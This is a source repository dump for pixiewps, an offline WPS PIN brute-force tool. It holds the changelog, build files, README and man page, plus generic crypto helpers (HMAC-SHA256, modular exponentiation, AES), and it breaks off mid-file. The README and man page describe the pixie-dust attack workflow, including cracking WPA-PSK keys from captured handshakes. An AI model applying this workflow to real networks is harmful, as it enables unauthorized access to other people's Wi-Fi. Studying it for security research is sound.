├── .editorconfig ├── .gitignore ├── CHANGELOG.md ├── LICENSE.md ├── Makefile ├── README.md ├── pixiewps.1 └── src ├── config.h ├── crypto ├── crypto_internal-modexp.c ├── hmac_sha256.c ├── tc │ ├── aes.c │ ├── aes_cbc.c │ ├── aes_cbc.h │ ├── aes_tab.c │ ├── sha256.c │ ├── tomcrypt.h │ ├── tomcrypt_argchk.h │ ├── tomcrypt_cfg.h │ ├── tomcrypt_cipher.h │ ├── tomcrypt_custom.h │ ├── tomcrypt_hash.h │ └── tomcrypt_macros.h └── tfm │ ├── fp_2expt.c │ ├── fp_add.c │ ├── fp_cmp.c │ ├── fp_cmp_d.c │ ├── fp_cmp_mag.c │ ├── fp_count_bits.c │ ├── fp_div.c │ ├── fp_div_2.c │ ├── fp_div_2d.c │ ├── fp_exptmod.c │ ├── fp_invmod.c │ ├── fp_lshd.c │ ├── fp_mod.c │ ├── fp_mod_2d.c │ ├── fp_montgomery_calc_normalization.c │ ├── fp_montgomery_reduce.c │ ├── fp_montgomery_setup.c │ ├── fp_mul.c │ ├── fp_mul_2.c │ ├── fp_mul_2d.c │ ├── fp_mul_comba.c │ ├── fp_mul_comba_20.c │ ├── fp_mul_comba_24.c │ ├── fp_mul_comba_28.c │ ├── fp_mul_comba_32.c │ ├── fp_mul_comba_48.c │ ├── fp_mul_comba_64.c │ ├── fp_mul_comba_small_set.c │ ├── fp_mul_d.c │ ├── fp_mulmod.c │ ├── fp_read_unsigned_bin.c │ ├── fp_reverse.c │ ├── fp_rshd.c │ ├── fp_set.c │ ├── fp_sqr.c │ ├── fp_sqr_comba.c │ ├── fp_sqr_comba_20.c │ ├── fp_sqr_comba_24.c │ ├── fp_sqr_comba_28.c │ ├── fp_sqr_comba_32.c │ ├── fp_sqr_comba_48.c │ ├── fp_sqr_comba_64.c │ ├── fp_sqr_comba_generic.c │ ├── fp_sqr_comba_small_set.c │ ├── fp_sub.c │ ├── fp_to_unsigned_bin.c │ ├── fp_unsigned_bin_size.c │ ├── s_fp_add.c │ ├── s_fp_sub.c │ ├── sources.mak │ ├── tfm.h │ └── tfm_private.h ├── endianness.h ├── pixiewps.c ├── pixiewps.h ├── pixiewrapper.c ├── random ├── glibc_random.c ├── glibc_random_lazy.c ├── glibc_random_old.c └── glibc_random_yura.c ├── utils.h ├── version.h └── wps.h /.editorconfig: -------------------------------------------------------------------------------- 1 | # See http://editorconfig.org for a plugin to your editor! 2 | 3 | # Top-most EditorConfig file 4 | root = true 5 | 6 | [*] 7 | charset = utf-8 8 | end_of_line = lf 9 | insert_final_newline = true 10 | trim_trailing_whitespace = true 11 | indent_style = tab 12 | indent_size = 4 13 | 14 | [*.md] 15 | trim_trailing_whitespace = false 16 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Files 2 | *~ 3 | pixiewps 4 | pixiewrapper 5 | 6 | # Extensions 7 | *.o 8 | *.d 9 | *.a 10 | *.so 11 | *.out 12 | *.exe 13 | -------------------------------------------------------------------------------- /CHANGELOG.md: -------------------------------------------------------------------------------- 1 | # Changelog 2 | All notable changes to this project will be documented in this file. 3 | 4 | ## [Unreleased] 5 | 6 | ## [1.4.2] - 2018-01-25 7 | ### Added 8 | - Huge performance optimizations (`--mode 1,3`) @1yura. 9 | 10 | ### Fixed 11 | - Segmentation fault when `--authkey` is not supplied. 12 | - Issue with PRNG bruteforce (`--mode 2`). 13 | - Incorrect N1 seed displayed (`--mode 2`). 14 | - Incorrect seeds displayed when PRNG is not bruteforced (`--mode 3`). 15 | 16 | ### Changed 17 | - Switched from mbedtls and libtommath to libtomcrypt and tomsfastmath @rofl0r. 18 | - Moved Makefile to top directory. 19 | - Added installation of man page on `make install`. 20 | 21 | ### Removed 22 | - Android.mk 23 | 24 | ## [1.4.1] - 2017-12-04 25 | ### Fixed 26 | - Segmentation fault when trying to recover the PIN with `--m7-enc` and other options @rofl0r @binarymaster. 27 | 28 | ## [1.4.0] - 2017-12-04 29 | ### Added 30 | - Multi-threading support @rofl0r. 31 | - Huge performance optimizations (`--mode 3`). 32 | - Future and past timespan windows when seed is found to compensate sudden NTP updates (`--mode 3`). 33 | - Optional WPA-PSK and E-S2 recovery from M7 and E-S1 from M5 (majority of `--mode 3`, with `--m7-enc` and `--m5-enc`). 34 | - Print of number of cores when `--version` is used. 35 | - Re-introduced possibility to compile with OpenSSL (`make OPENSSL=1`) for better performance @rofl0r. 36 | - Message for contributing, see README for more details. 37 | 38 | ### Fixed 39 | - Fixed compilation with `-O0` @rofl0r. 40 | 41 | ### Changed 42 | - Increased default timespan for `--mode 3` to +-1 day. 43 | - Increased maximum limit for `--start`/`--end` to `0x7FFFFFFF` (`02/2038`) @binarymaster. 44 | - Formatted output differently to fit terminal (removed `:` as byte separator). 45 | - Print program version with `--version` on `stdout` (other info on `stderr`). 46 | - Makefile to a more conventional way @rofl0r. 47 | 48 | ### Deprecated 49 | - Option `-S`, `--dh-small`. 50 | - Option `-l`, `--length`. 51 | 52 | ## [1.3.0] - 2017-10-07 53 | ### Added 54 | - Empty PIN cracking (denoted with ``) @binarymaster. 55 | - Option `-o`, `--output` to write output to file @binarymaster. 56 | - Option `-l`, `--length` to brute-force arbitrary PIN length (unverified) @binarymaster. 57 | - Man page @samueloph. 58 | 59 | ### Fixed 60 | - Several Makefile fixes. 61 | 62 | ## [1.2.2] - 2016-01-04 63 | ### Added 64 | - FreeBSD support @fbettag. 65 | 66 | ### Fixed 67 | - Division by zero on BSD variants. 68 | 69 | ## [1.2.1] - 2016-01-04 70 | ### Changed 71 | - Use UTC time to display seed. 72 | 73 | ## [1.2.0] - 2015-12-06 74 | ### Added 75 | - Option `--mode` for mode selection. 76 | - Options `--start` and `--end` (`--mode 3`). 77 | - Mac OS support @marchrius. 78 | 79 | ### Changed 80 | - Removed OpenSSL dependency. 81 | 82 | ## [1.1.0] - 2015-05-01 83 | ### Added 84 | - Fully implemented new mode (`--mode 3`). 85 | - Authentication session key (`--authkey`) computation with small Diffie-Hellman keys (`--dh-small`). 86 | - OpenWrt Makefile @d8tahead. 87 | 88 | ## [1.0.5] - 2015-04-10 89 | ### Added 90 | - Initial implementation of new mode (`--mode 3`). 91 | 92 | ## [1.0.0] - 2015-04-02 93 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS = -O3 2 | 3 | PREFIX ?= /usr/local 4 | BINDIR = $(PREFIX)/bin 5 | MANDIR = $(PREFIX)/share/man 6 | 7 | SRCDIR = src 8 | HDRS = $(SRCDIR)/config.h $(SRCDIR)/endianness.h $(SRCDIR)/version.h 9 | HDRS += $(SRCDIR)/pixiewps.h $(SRCDIR)/utils.h $(SRCDIR)/wps.h 10 | 11 | # Internal flags so one can safely override CFLAGS, CPPFLAGS and LDFLAGS 12 | INTFLAGS = -std=c99 -I $(SRCDIR)/crypto/tc 13 | LIBS = -lpthread 14 | 15 | ifeq ($(OPENSSL),1) 16 | LIBS += -lcrypto 17 | INTFLAGS += -DUSE_OPENSSL 18 | endif 19 | 20 | TARGET = pixiewps 21 | 22 | include $(SRCDIR)/crypto/tfm/sources.mak 23 | TFMSRC = $(patsubst ./%,$(SRCDIR)/crypto/tfm/%,$(TFM_SRCS)) 24 | TFMOBJS = $(TFMSRC:.c=.o) 25 | TC_SRCS = ./aes_cbc.c ./aes.c 26 | TCSRC = $(patsubst ./%,$(SRCDIR)/crypto/tc/%,$(TC_SRCS)) 27 | TCOBJS = $(TCSRC:.c=.o) 28 | 29 | SOURCE = $(SRCDIR)/pixiewps.c 30 | 31 | -include config.mak 32 | 33 | .PHONY: all install install-bin install-man strip clean 34 | 35 | all: $(TARGET) pixiewrapper 36 | 37 | pixiewrapper: $(SRCDIR)/pixiewrapper.o 38 | $(CC) $(CPPFLAGS) $(CFLAGS) $(LDFLAGS) -o $@ $< 39 | 40 | $(TARGET): $(SOURCE) $(HDRS) $(TFMOBJS) $(TCOBJS) 41 | $(CC) $(INTFLAGS) $(CFLAGS) $(CPPFLAGS) -o $(TARGET) $(SOURCE) $(LIBS) $(LDFLAGS) $(TFMOBJS) $(TCOBJS) 42 | 43 | $(SRCDIR)/crypto/tfm/%.o: $(SRCDIR)/crypto/tfm/%.c 44 | $(CC) $(CFLAGS) $(CPPFLAGS) -I$(SRCDIR)/crypto/tfm -c -o $@ $< 45 | 46 | $(SRCDIR)/crypto/tc/%.o: $(SRCDIR)/crypto/tc/%.c 47 | $(CC) $(CFLAGS) $(CPPFLAGS) -I$(SRCDIR)/crypto/tc -c -o $@ $< 48 | 49 | install: install-bin install-man 50 | 51 | install-bin: $(TARGET) 52 | install -d $(DESTDIR)$(BINDIR) 53 | install -m 755 $< $(DESTDIR)$(BINDIR) 54 | 55 | install-man: pixiewps.1 56 | install -d $(DESTDIR)$(MANDIR)/man1 57 | install -m 644 $< $(DESTDIR)$(MANDIR)/man1 58 | 59 | strip: $(TARGET) 60 | strip $(TARGET) 61 | 62 | clean: 63 | rm -f $(TARGET) $(TFMOBJS) $(TCOBJS) 64 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Overview [![License](https://img.shields.io/badge/License-GPL%20v3%2B-blue.svg?style=flat-square)](LICENSE.md) 2 | 3 | **Pixiewps** is a tool written in C used to **bruteforce offline** the WPS PIN exploiting the low or non-existing entropy of some software implementations, the so-called "pixie-dust attack" discovered by Dominique Bongard in summer 2014. It is meant for educational purposes only. 4 | 5 | As opposed to the traditional online brute-force attack, implemented in tools like Reaver or Bully which aim to recover the pin in a few hours, this method can get the PIN in only a matter of **seconds** or **minutes**, depending on the target, **if vulnerable**. 6 | 7 | ![pixiewps_screenshot_1](https://i.imgur.com/2N2zaZt.png) 8 | 9 | Since version 1.4, it can also recover the **WPA-PSK** from a complete passive capture (M1 through M7) for some devices (currently **only some devices** which work with `--mode 3`). 10 | 11 | ![pixiewps_screenshot_2](https://i.imgur.com/qVQ8Rng.png) 12 | 13 | It all started as a project from the community, more details can be found here: 14 | - [https://forums.kali.org/showthread.php?25018-Pixiewps-wps-pixie-dust-attack-tool](https://forums.kali.org/showthread.php?25018-Pixiewps-wps-pixie-dust-attack-tool) 15 | - [https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)) 16 | 17 | You can also visit the [wiki](https://github.com/wiire-a/pixiewps/wiki). 18 | 19 | # Requirements 20 | 21 | ``` 22 | apt-get -y install build-essential 23 | ``` 24 | 25 | - Prior versions of **1.2** require [libssl-dev](https://www.openssl.org/) 26 | - Versions **1.4** and later make use of multi-threading and require **libpthread** ([POSIX threads](https://en.wikipedia.org/wiki/POSIX_Threads)) 27 | 28 | OpenSSL has also been re-introduced as optional to achieve better speeds. See the **Build** section. 29 | 30 | # Setup 31 | 32 | **Download** 33 | 34 | `git clone https://github.com/wiire/pixiewps` 35 | 36 | or 37 | 38 | `wget https://github.com/wiire/pixiewps/archive/master.zip && unzip master.zip` 39 | 40 | **Build** 41 | 42 | ```bash 43 | cd pixiewps*/ 44 | make 45 | ``` 46 | Optionally, you can run `make OPENSSL=1` to use faster OpenSSL SHA-256 functions. 47 | 48 | **Install** 49 | 50 | ``` 51 | sudo make install 52 | ``` 53 | 54 | # Usage 55 | 56 | ``` 57 | Usage: pixiewps 58 | 59 | Required arguments: 60 | 61 | -e, --pke : Enrollee public key 62 | -r, --pkr : Registrar public key 63 | -s, --e-hash1 : Enrollee hash 1 64 | -z, --e-hash2 : Enrollee hash 2 65 | -a, --authkey : Authentication session key 66 | -n, --e-nonce : Enrollee nonce 67 | 68 | Optional arguments: 69 | 70 | -m, --r-nonce : Registrar nonce 71 | -b, --e-bssid : Enrollee BSSID 72 | -v, --verbosity : Verbosity level 1-3, 1 is quietest [3] 73 | -o, --output : Write output to file 74 | -j, --jobs : Number of parallel threads to use [Auto] 75 | 76 | -h : Display this usage screen 77 | --help : Verbose help and more usage examples 78 | -V, --version : Display version 79 | 80 | --mode N[,... N] : Mode selection, comma separated [Auto] 81 | --start [mm/]yyyy : Starting date (only mode 3) [+1 day] 82 | --end [mm/]yyyy : Ending date (only mode 3) [-1 day] 83 | -f, --force : Bruteforce full range (only mode 3) 84 | 85 | Miscellaneous arguments: 86 | 87 | -7, --m7-enc : Recover encrypted settings from M7 (only mode 3) 88 | -5, --m5-enc : Recover secret nonce from M5 (only mode 3) 89 | ``` 90 | 91 | ## Usage example 92 | 93 | The most common usage example is: 94 | 95 | ``` 96 | pixiewps --pke ... --pkr ... --e-hash1 ... --e-hash2 ... --authkey ... --e-nonce ... 97 | ``` 98 | 99 | which requires a modified version of Reaver or Bully which prints the *Authentication Session key* (`--authkey`, `-a`). The recommended version is [reaver-wps-fork-t6x](https://github.com/t6x/reaver-wps-fork-t6x). 100 | 101 | The program has also a man page and a verbose help screen (`--help`) with more examples. 102 | 103 | ## -S, --dh-small 104 | This feature was introduced back in Reaver 1.3. It works by choosing the private key = 1, thus resulting in having the public key `--pkr` = 2. This speeds up the cracking process since the AP must do less computations to calculate the Diffie-Hellman shared secret, which is later used to derive the session keys that encrypt the current transaction. Pixiewps can exploit this feature so that the user doesn't have to input `--pkr` (it's always 2) and optionally compute the session keys, like `--authkey`, if additional arguments, `--r-nonce` and `--bssid`, are specified. 105 | 106 | It turns out some routers are buggy and do not function correctly with this feature. Some won't even be able to validate the correct PIN and the transaction will fail after M4. For this reason this feature is **deprecated** and should **never be used** in Reaver. 107 | 108 | ## -7, --m7-enc 109 | This option requires the attribute *encrypted settings* found in M7 when the Registrar proved knowledge of the PIN, and the Access Points, the Enrollee, sends its current network configuration. 110 | 111 | This feature can be used to crack the WPA-PSK (and WPS PIN) from a passive packet capture (e.g. sniffing a PBC session). 112 | 113 | ## -f, --force 114 | This option is used only for mode 3. When used pixiewps will start bruteforcing from the current time and go back all the way to 0. It is conceptually identical to using `--end 01/1970` only (or `--start 01/1970` since they're interchangeable). 115 | 116 | ## Empty PIN 117 | The empty PIN, denoted with `` can be tested with `-p ""` in Reaver [1.6.1](https://github.com/t6x/reaver-wps-fork-t6x/releases/tag/v1.6.1) and later. It comes from a misconfiguration of the PIN method on some Access Points which have the PIN variable set to `NULL` (or empty string). 118 | 119 | ![pixiewps_screenshot_3](https://i.imgur.com/t3JYGHV.png) 120 | 121 | # Supported platforms 122 | 123 | Pixiewps can be compiled for a wide variety of platforms. On Windows it can be compiled with [MinGW](http://www.mingw.org/). Be sure to have installed phtread support. 124 | 125 | Since version 1.4.1 it has been included in [OpenWrt](https://openwrt.org/) and [LEDE](https://lede-project.org/) official repositories. 126 | 127 | ## Versioning convention 128 | The version numbering is in the form `1.x.y`, where `x` usually indicates a major release, and `y` a minor release, typically bug fixing or other small changes. Every major release starts with `y = 0` and should be considered unstable in the first hours of publishing, even if not marked as such. 129 | 130 | For a list of changes between one release and the previous refer to [CHANGELOG](CHANGELOG.md). 131 | 132 | ## Notes for wrappers and scripts 133 | - The data in input can be formatted with one of the following byte separators: '`:`', '`-`', '` `', or without 134 | - The most useful tags like `WPS pin` and `WPA-PSK` are denoted with `[+]` or `[-]` in case of failure 135 | - Pixiewps returns `0` on a successful attempt 136 | - An option that has been _deprecated_ means that it shouldn't be used anymore and may get removed on a later release 137 | 138 | # Contributing 139 | Since the very first release pixiewps has improved a lot, but it's hard to keep track of every device on the market. We have decided to add an automatic message suggesting that we are interested in the parameters of the device tested by the user. 140 | 141 | # Acknowledgements 142 | 143 | - Part of the code was inspired by Bully by Brian Purcell 144 | - The crypto and bignum libraries were taken from [LibTomCrypt](https://github.com/libtom/libtomcrypt) and [TomsFastMath](https://github.com/libtom/tomsfastmath) 145 | - Endianness detection and conversion is from [rofl0r/endianness.h](https://github.com/rofl0r/endianness.h) 146 | - See [contributors](https://github.com/wiire-a/pixiewps/graphs/contributors) for a list of everyone that has contributed 147 | - Huge thanks to `kcdtv`, `rofl0r` and `binarymaster` for helping and testing 148 | - Special thanks to `soxrok2212`, `datahead`, `t6_x`, `aanarchyy` and the [Kali Linux](https://www.kali.org/) community 149 | 150 | # References 151 | 152 | Pixiewps is based on the work of Dominique Bongard ([@Reversity](https://twitter.com/reversity)): 153 | - [Offline bruteforce attack on WiFi Protected Setup](http://archive.hack.lu/2014/Hacklu2014_offline_bruteforce_attack_on_wps.pdf) (slides) 154 | - [WPS Insecurity](http://video.adm.ntnu.no/pres/549931214e18d) (video presentation at NTNU) 155 | -------------------------------------------------------------------------------- /pixiewps.1: -------------------------------------------------------------------------------- 1 | .TH PIXIEWPS "1" "November 2017" "pixiewps " "Offline WPS bruteforce tool" 2 | .SH NAME 3 | \fBpixiewps\fR \- Offline Wi-Fi Protected Setup bruteforce tool 4 | .SH DESCRIPTION 5 | .IP 6 | Pixiewps is a tool written in C used to bruteforce offline the WPS PIN method exploiting 7 | the low or non-existing entropy of some Access Points, the so-called "pixie-dust attack". 8 | .IP 9 | It is meant for educational purposes only. 10 | .IP 11 | .PP 12 | .SH SYNOPSIS 13 | .B pixiewps 14 | .SH ARGUMENTS 15 | .SS REQUIRED ARGUMENTS 16 | \fB\-e\fR, \fB\-\-pke\fR 17 | .IP 18 | Enrollee's DH public key, found in M1. 19 | .PP 20 | \fB\-r\fR, \fB\-\-pkr\fR 21 | .IP 22 | Registrar's DH public key, found in M2. It can be avoided by specifying \fB\-\-dh\-small\fR 23 | in both Reaver and pixiewps. 24 | .IP 25 | pixiewps \fB\-e\fR \fB\-s\fR \fB\-z\fR \fB\-a\fR \fB\-n\fR \fB\-S\fR 26 | .PP 27 | \fB\-s\fR, \fB\-\-e\-hash1\fR 28 | .IP 29 | Enrollee's hash 1, found in M3. It's the hash of the first half of the PIN. 30 | .PP 31 | \fB\-z\fR, \fB\-\-e\-hash2\fR 32 | .IP 33 | Enrollee's hash 2, found in M3. It's the hash of the second half of the PIN. 34 | .PP 35 | \fB\-a\fR, \fB\-\-authkey\fR 36 | .IP 37 | Authentication session key. Although for this parameter a modified version of Reaver or Bully 38 | is needed, it can be avoided by specifying small Diffie\-Hellman keys in both Reaver and pixiewps 39 | and supplying \fB\-\-e\-nonce\fR, \fB\-\-r\-nonce\fR and \fB\-\-e\-bssid\fR. 40 | .IP 41 | pixiewps \fB\-e\fR \fB\-s\fR \fB\-z\fR \fB\-S\fR \fB\-n\fR \fB\-m\fR \fB\-b\fR 42 | .PP 43 | \fB\-n\fR, \fB\-\-e\-nonce\fR 44 | .IP 45 | Enrollee's nonce, found in M1. 46 | .PP 47 | .SS OPTIONAL ARGUMENTS 48 | \fB\-m\fR, \fB\-\-r\-nonce\fR 49 | .IP 50 | Registrar's nonce, found in M2. Used with other parameters to compute the session keys. 51 | .PP 52 | \fB\-b\fR, \fB\-\-e\-bssid\fR 53 | .IP 54 | Enrollee's BSSID. Used with other parameters to compute the session keys. 55 | .PP 56 | \fB\-S\fR, \fB\-\-dh\-small\fR (deprecated) 57 | .IP 58 | Small Diffie\-Hellman keys. The same option must be specified in Reaver too. Some Access Points 59 | seem to be buggy and don't behave correctly with this option. Avoid using it with Reaver when 60 | possible. 61 | .PP 62 | \fB\-v\fR, \fB\-\-verbosity\fR 63 | .IP 64 | Verbosity level 1-3, 1 is quietest, default is 3. 65 | .PP 66 | \fB\-h\fR 67 | .IP 68 | Display a simple help usage screen. 69 | .PP 70 | \fB\-\-help\fR 71 | .IP 72 | Display verbose help. 73 | .PP 74 | \fB\-V\fR, \fB\-\-version\fR 75 | .IP 76 | Display version and other information. 77 | .PP 78 | \fB\-\-mode\fR N[,... N] 79 | .IP 80 | Select modes, comma separated (experimental modes are not used unless specified): 81 | .IP 82 | \fB1\fR \- RT/MT/CL 83 | .IP 84 | \fB2\fR \- eCos simple 85 | .IP 86 | \fB3\fR \- RTL819x 87 | .IP 88 | \fB4\fR \- eCos simplest [Experimental] 89 | .IP 90 | \fB5\fR \- eCos Knuth [Experimental] 91 | .PP 92 | \fB\-\-start\fR [mm/]yyyy 93 | .TP 94 | \fB\-\-end\fR [mm/]yyyy 95 | .IP 96 | Starting and ending dates for mode 3, they are interchangeable. 97 | .IP 98 | If only one is specified, the current time will be used for the other. The earliest possible date 99 | is 01/1970, corresponding to 0 (Unix epoch time), the latest is 02/2038, corresponding to 0x7FFFFFFF. 100 | If \fB\-\-force\fR is used then pixiewps will start from the current time and go back all the way to 0. 101 | .PP 102 | .SS MISCELLANEOUS ARGUMENTS 103 | \fB\-7\fR, \fB\-\-m7\-enc\fR 104 | .IP 105 | Encrypted settings, found in M7. Recover Enrollee's WPA-PSK and secret nonce 2. This feature only 106 | works on some Access Points vulnerable to mode 3. 107 | .IP 108 | pixiewps \fB\-e\fR \fB\-r\fR \fB\-n\fR \fB\-m\fR \fB\-b\fR \fB\-7\fR \fB\-\-mode 3\fR 109 | .PP 110 | \fB\-5\fR, \fB\-\-m5\-enc\fR 111 | .IP 112 | Encrypted settings, found in M5. Recover Enrollee's secret nonce 1. This option must be used in 113 | conjunction with \fB\-\-m7\-enc\fR. If \fB\-\-e\-hash1\fR and \fB\-\-e\-hash2\fR are also specified, 114 | pixiewps will also recover the WPS PIN. 115 | .IP 116 | pixiewps \fB\-e\fR \fB\-r\fR \fB\-n\fR \fB\-m\fR \fB\-b\fR \fB\-7\fR \fB\-5\fR \fB\-\-mode 3\fR 117 | .IP 118 | pixiewps \fB\-e\fR \fB\-r\fR \fB\-n\fR \fB\-m\fR \fB\-b\fR \fB\-7\fR \fB\-5\fR \fB\-\-mode 3\fR \fB\-s\fR \fB\-z\fR 119 | .SH EXAMPLES 120 | pixiewps --pke --pkr --e-hash1 --e-hash2 --authkey --e-nonce 121 | .PP 122 | pixiewps -e -r -s -z -a -n 123 | .SH AUTHOR 124 | Pixiewps was developed by wiire. 125 | .PP 126 | This manual page was written by Daniel Echeverry and Samuel Henrique for the Debian project, but can be used by other projects as well. 127 | -------------------------------------------------------------------------------- /src/config.h: -------------------------------------------------------------------------------- 1 | /* 2 | * pixiewps: offline WPS brute-force utility that exploits low entropy PRNGs 3 | * 4 | * Copyright (c) 2015-2017, wiire 5 | * SPDX-License-Identifier: GPL-3.0+ 6 | * 7 | * This program is free software: you can redistribute it and/or modify 8 | * it under the terms of the GNU General Public License as published by 9 | * the Free Software Foundation, either version 3 of the License, or 10 | * (at your option) any later version. 11 | * 12 | * This program is distributed in the hope that it will be useful, 13 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | * GNU General Public License for more details. 16 | */ 17 | #ifndef CONFIG_H 18 | #define CONFIG_H 19 | 20 | #define ENDIANNESS_PORTABLE_CONVERSION 21 | #include "endianness.h" 22 | 23 | #define sha256(i, l, d) sha256_full(i, l, d) 24 | #define hmac_sha256(k, l, i, n, o) \ 25 | hmac_sha256_full(k, l, i, n, o) 26 | 27 | #endif /* CONFIG_H */ 28 | -------------------------------------------------------------------------------- /src/crypto/crypto_internal-modexp.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include "tfm/tfm.h" 5 | 6 | #define u8 uint8_t 7 | 8 | int crypto_mod_exp(const u8 *base, size_t base_len, 9 | const u8 *power, size_t power_len, 10 | const u8 *modulus, size_t modulus_len, 11 | u8 *result, size_t *result_len) 12 | { 13 | fp_int bn_base, bn_exp, bn_modulus, bn_result; 14 | 15 | fp_read_unsigned_bin(&bn_base, base, base_len); 16 | fp_read_unsigned_bin(&bn_exp, power, power_len); 17 | fp_read_unsigned_bin(&bn_modulus, modulus, modulus_len); 18 | fp_init(&bn_result); 19 | 20 | fp_exptmod(&bn_base, &bn_exp, &bn_modulus, &bn_result); 21 | 22 | fp_to_unsigned_bin(&bn_result, result); 23 | 24 | *result_len = fp_unsigned_bin_size(&bn_result); 25 | return 0; 26 | } 27 | -------------------------------------------------------------------------------- /src/crypto/hmac_sha256.c: -------------------------------------------------------------------------------- 1 | /* Public domain hmac_sha256 implementation written by rofl0r for pixiewps */ 2 | 3 | #include 4 | #include 5 | #ifdef USE_OPENSSL 6 | # include 7 | #else 8 | # include "tc/sha256.c" 9 | # define SHA256_CTX hash_state 10 | # define SHA256_Init(x) do { sha256_init(x); } while(0) 11 | # define SHA256_Update(x, y, z) sha256_process(x, y, z) 12 | # define SHA256_Final(y, x) sha256_done(x, y) 13 | #endif 14 | 15 | #define PAD_SIZE 64 16 | #define HASH_SIZE 32 17 | 18 | static void sha256_full(const uint8_t *input, size_t ilen, uint8_t *output) 19 | { 20 | SHA256_CTX ctx; 21 | SHA256_Init(&ctx); 22 | SHA256_Update(&ctx, input, ilen); 23 | SHA256_Final(output, &ctx); 24 | } 25 | 26 | static void hmac_sha256_full(const uint8_t *key, size_t keylen, 27 | const uint8_t *input, size_t ilen, uint8_t *output) 28 | { 29 | size_t i; 30 | uint8_t opad[PAD_SIZE], ipad[PAD_SIZE], hash[HASH_SIZE]; 31 | SHA256_CTX ctx; 32 | 33 | memset(ipad, 0x36, PAD_SIZE); 34 | memset(opad, 0x5C, PAD_SIZE); 35 | 36 | if (keylen > PAD_SIZE) { 37 | 38 | SHA256_Init(&ctx); 39 | SHA256_Update(&ctx, key, keylen); 40 | SHA256_Final(hash, &ctx); 41 | 42 | for (i = 0; i < HASH_SIZE; i++) { 43 | ipad[i] ^= hash[i]; 44 | opad[i] ^= hash[i]; 45 | } 46 | 47 | } else for (i = 0; i < keylen; i++) { 48 | ipad[i] ^= key[i]; 49 | opad[i] ^= key[i]; 50 | } 51 | 52 | SHA256_Init(&ctx); 53 | SHA256_Update(&ctx, ipad, PAD_SIZE); 54 | SHA256_Update(&ctx, input, ilen); 55 | SHA256_Final(hash, &ctx); 56 | 57 | SHA256_Init(&ctx); 58 | SHA256_Update(&ctx, opad, PAD_SIZE); 59 | SHA256_Update(&ctx, hash, sizeof hash); 60 | 61 | SHA256_Final(output, &ctx); 62 | } 63 | 64 | struct hmac_ctx { 65 | SHA256_CTX ictx; 66 | SHA256_CTX octx; 67 | }; 68 | 69 | static void hmac_sha256_init(struct hmac_ctx *hctx, const uint8_t *key, 70 | size_t keylen) 71 | { 72 | size_t i; 73 | uint8_t opad[PAD_SIZE], ipad[PAD_SIZE], hash[HASH_SIZE]; 74 | SHA256_CTX ctx; 75 | 76 | memset(ipad, 0x36, PAD_SIZE); 77 | memset(opad, 0x5C, PAD_SIZE); 78 | 79 | if (keylen > PAD_SIZE) { 80 | 81 | SHA256_Init(&ctx); 82 | SHA256_Update(&ctx, key, keylen); 83 | SHA256_Final(hash, &ctx); 84 | 85 | for (i = 0; i < HASH_SIZE; i++) { 86 | ipad[i] ^= hash[i]; 87 | opad[i] ^= hash[i]; 88 | } 89 | 90 | } else for (i = 0; i < keylen; i++) { 91 | ipad[i] ^= key[i]; 92 | opad[i] ^= key[i]; 93 | } 94 | 95 | SHA256_Init(&hctx->ictx); 96 | SHA256_Update(&hctx->ictx, ipad, PAD_SIZE); 97 | 98 | SHA256_Init(&hctx->octx); 99 | SHA256_Update(&hctx->octx, opad, PAD_SIZE); 100 | } 101 | 102 | static void hmac_sha256_yield(const struct hmac_ctx *hctx, 103 | const uint8_t *input, size_t ilen, uint8_t *output) 104 | { 105 | SHA256_CTX ctx; 106 | uint8_t hash[HASH_SIZE]; 107 | 108 | memcpy(&ctx, &hctx->ictx, sizeof(ctx)); 109 | 110 | SHA256_Update(&ctx, input, ilen); 111 | SHA256_Final(hash, &ctx); 112 | 113 | memcpy(&ctx, &hctx->octx, sizeof(ctx)); 114 | 115 | SHA256_Update(&ctx, hash, sizeof hash); 116 | SHA256_Final(output, &ctx); 117 | } 118 | -------------------------------------------------------------------------------- /src/crypto/tc/aes.c: -------------------------------------------------------------------------------- 1 | /* LibTomCrypt, modular cryptographic library -- Tom St Denis 2 | * 3 | * LibTomCrypt is a library that provides various cryptographic 4 | * algorithms in a highly modular and flexible manner. 5 | * 6 | * The library is free for all purposes without any express 7 | * guarantee it works. 8 | */ 9 | 10 | /* AES implementation by Tom St Denis 11 | * 12 | * Derived from the Public Domain source code by 13 | 14 | --- 15 | * rijndael-alg-fst.c 16 | * 17 | * @version 3.0 (December 2000) 18 | * 19 | * Optimised ANSI C code for the Rijndael cipher (now AES) 20 | * 21 | * @author Vincent Rijmen 22 | * @author Antoon Bosselaers 23 | * @author Paulo Barreto 24 | --- 25 | */ 26 | /** 27 | @file aes.c 28 | Implementation of AES 29 | */ 30 | 31 | #include "tomcrypt.h" 32 | 33 | #define SETUP rijndael_setup 34 | #define ECB_ENC rijndael_ecb_encrypt 35 | #define ECB_DEC rijndael_ecb_decrypt 36 | #define ECB_DONE rijndael_done 37 | #define ECB_KS rijndael_keysize 38 | 39 | #define __LTC_AES_TAB_C__ 40 | #include "aes_tab.c" 41 | 42 | static ulong32 setup_mix(ulong32 temp) 43 | { 44 | return (Te4_3[byte(temp, 2)]) ^ 45 | (Te4_2[byte(temp, 1)]) ^ 46 | (Te4_1[byte(temp, 0)]) ^ 47 | (Te4_0[byte(temp, 3)]); 48 | } 49 | 50 | static ulong32 setup_mix2(ulong32 temp) 51 | { 52 | return Td0(255 & Te4[byte(temp, 3)]) ^ 53 | Td1(255 & Te4[byte(temp, 2)]) ^ 54 | Td2(255 & Te4[byte(temp, 1)]) ^ 55 | Td3(255 & Te4[byte(temp, 0)]); 56 | } 57 | 58 | /** 59 | Initialize the AES (Rijndael) block cipher 60 | @param key The symmetric key you wish to pass 61 | @param keylen The key length in bytes 62 | @param num_rounds The number of rounds desired (0 for default) 63 | @param skey The key in as scheduled by this function. 64 | @return CRYPT_OK if successful 65 | */ 66 | int SETUP(const unsigned char *key, int keylen, int num_rounds, symmetric_key *skey) 67 | { 68 | int 